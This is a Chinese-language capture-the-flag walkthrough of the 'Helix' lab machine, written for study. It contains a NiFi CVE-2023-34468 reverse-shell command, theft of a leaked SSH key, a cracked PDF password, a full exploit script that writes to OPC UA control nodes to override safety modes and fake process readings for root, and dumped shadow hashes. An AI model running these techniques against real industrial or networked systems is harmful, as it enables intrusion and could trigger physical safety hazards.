基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.129.181.232
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 14:20 +0900
Nmap scan report for 10.129.181.232
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.49 seconds

80

需要添加hosts:

1
10.129.181.232 helix.htb

一个公司官网:

子域名扫描

子域名发现flow:

1
2
3
$ ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://helix.htb/" -H "Host: FUZZ.helix.htb" -fs 154

flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1084ms]

flow

添加hosts后访问,是nifi 1.21.0:

NiFi CVE-2023-34468

搜索可以找到相关漏洞:

一键打到nifi shell:

1
$ python3 CVE-2023-34468_poc.py --target http://flow.helix.htb/ --lhost 10.10.14.17 --lport 4444 --http-port 7777 --cleanup

operator_id_ed25519.bak

然后翻文件,发现一个operator_id_ed25519.bak文件,是operator用户的私钥:

1
nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat operator_id_ed25519.bak

user flag

得到的私钥登录operator:

1
$ ssh -i operator_id_ed25519 operator@helix.htb

提权信息

可以sudo运行一个脚本,看内容就是判断是否存在/opt/helix/state/maintenance_window文件,该文件需要时间戳在当前时间之后,现在的operator用户并不能创建这个文件

operator用户目录还有两个文件,下载到本地查看

control systems diagram.png

control systems diagram.png就是控制系统架构图,显示operator和tcp 4840端口交互:

Operator Control & Safety Guide.pdf

Operator Control & Safety Guide.pdf需要密码,首先破解密码:

1
2
3
4
5
pdf2john 'Operator Control & Safety Guide.pdf' > hash.txt

└─$ sudo john hash.txt --format=PDF --wordlist=/usr/share/wordlists/rockyou.txt

operator1 (Operator Control & Safety Guide.pdf)

pdf就是操作手册:

所以就是根据操作文档,触发生成维护窗口,直接把已有信息喂给AI即可

1
2
3
4
Maintenance Window 触发条件(Section 7):
- 温度达到 ~295°C 或 压力达到 ~73 bar
- 且低于 Trip 阈值(305°C / 75 bar)
- 且没有 Safety Trip 激活

提权 & root flag

你还能有claude聪明.jpg

基本就是和claude交互试行错误,最终触发生成维护窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 浏览节点结构
# 连接本地 OPC UA 服务器,浏览所有节点
uabrowse -u opc.tcp://localhost:4840 -n "ns=0;i=85" -l 10
# Plant 下子节点
uabrowse -u opc.tcp://localhost:4840 -n "ns=2;i=1" -l 10
# 3个子节点
uabrowse -u opc.tcp://localhost:4840 -n "ns=2;i=2" -l 10
uabrowse -u opc.tcp://localhost:4840 -n "ns=2;i=7" -l 10
uabrowse -u opc.tcp://localhost:4840 -n "ns=2;i=11" -l 10

# Step 1 — 进入 Maintenance 模式
uawrite -u opc.tcp://localhost:4840 -n "ns=2;i=12" -t string "MAINTENANCE"
uawrite -u opc.tcp://localhost:4840 -n "ns=2;i=13" -t bool true

# Step 2 — 逐步增加 CalibrationOffset
for offset in 5 10 15 20; do
uawrite -u opc.tcp://localhost:4840 -n "ns=2;i=6" -t double $offset
sleep 3
echo "=== Offset=$offset ==="
uabrowse -u opc.tcp://localhost:4840 -n "ns=2;i=4" | grep Value
uabrowse -u opc.tcp://localhost:4840 -n "ns=2;i=5" | grep Value
uabrowse -u opc.tcp://localhost:4840 -n "ns=2;i=10" | grep Value
[ -f /opt/helix/state/maintenance_window ] && echo "[+] Window OPEN: $(cat /opt/helix/state/maintenance_window)" && break
done

exp.py

一键脚本 from discord:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
import asyncio
import subprocess
import sys
import os
import signal
from asyncua import Client

async def trigger_hazard():
url = "opc.tcp://127.0.0.1:4840/helix/"

async with Client(url=url) as client:
print("[*] Connected to OPC UA")

# Node IDs (from your earlier discovery)
mode_node = client.get_node("ns=2;i=12")
test_override_node = client.get_node("ns=2;i=13")
calibration_node = client.get_node("ns=2;i=6")

print("[*] Setting MAINTENANCE mode + TestOverride")
await mode_node.write_value("MAINTENANCE")
await test_override_node.write_value(True)

print("[*] Boosting CalibrationOffset...")
for offset in [10.0, 15.0, 20.0, 25.0, 30.0, 35.0, 40.0]:
await calibration_node.write_value(offset)
await asyncio.sleep(1.5)

temp_node = client.get_node("ns=2;i=4")
pressure_node = client.get_node("ns=2;i=5")
temp = await temp_node.read_value()
pressure = await pressure_node.read_value()
print(f" Offset: {offset}°C → Temp: {temp}°C | Pressure: {pressure} bar")

if temp >= 295 or pressure >= 73:
print("\n[+] HAZARD CONDITION REACHED")
return True

print("[-] Could not reach hazard condition")
return False

def spawn_root_shell():
"""Replace current process with root shell"""
print("\n[+] Spawning root shell via helix-maint-console...")
print("[!] Type 'exit' to return to operator\n" + "="*50)

# Replace current process with sudo command (inherits terminal)
os.execvp("sudo", ["sudo", "/usr/local/sbin/helix-maint-console"])

async def main():
print("[*] Helix Root Exploit - Single Terminal Mode\n")

# First try to trigger the hazard
triggered = await trigger_hazard()

if not triggered:
print("\n[*] Manual trigger incomplete — checking if window already open...")

# Give safety controller time to open window
print("\n[*] Waiting for maintenance window to open...")
for i in range(15):
await asyncio.sleep(1)
print(f" Checking... ({i+1}/15)")

# Spawn root shell (replaces this script)
spawn_root_shell()

if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\n[-] Interrupted")
sys.exit(1)

shadow

1
2
root:$y$j9T$qbccQVxYsOHj3tbGz7nGx0$IVeDHapbP0ssZP7djM0IGBJch7s9.n08SZPzHWChva6:20563:0:99999:7:::
operator:$y$j9T$rVyYwA6s4tqGwvmMDVobv0$7QwrDIVLH3nDt8wmaOJjHcXF7GuIxCSnl/DN7.WxX95:20563:0:99999:7:::

参考资料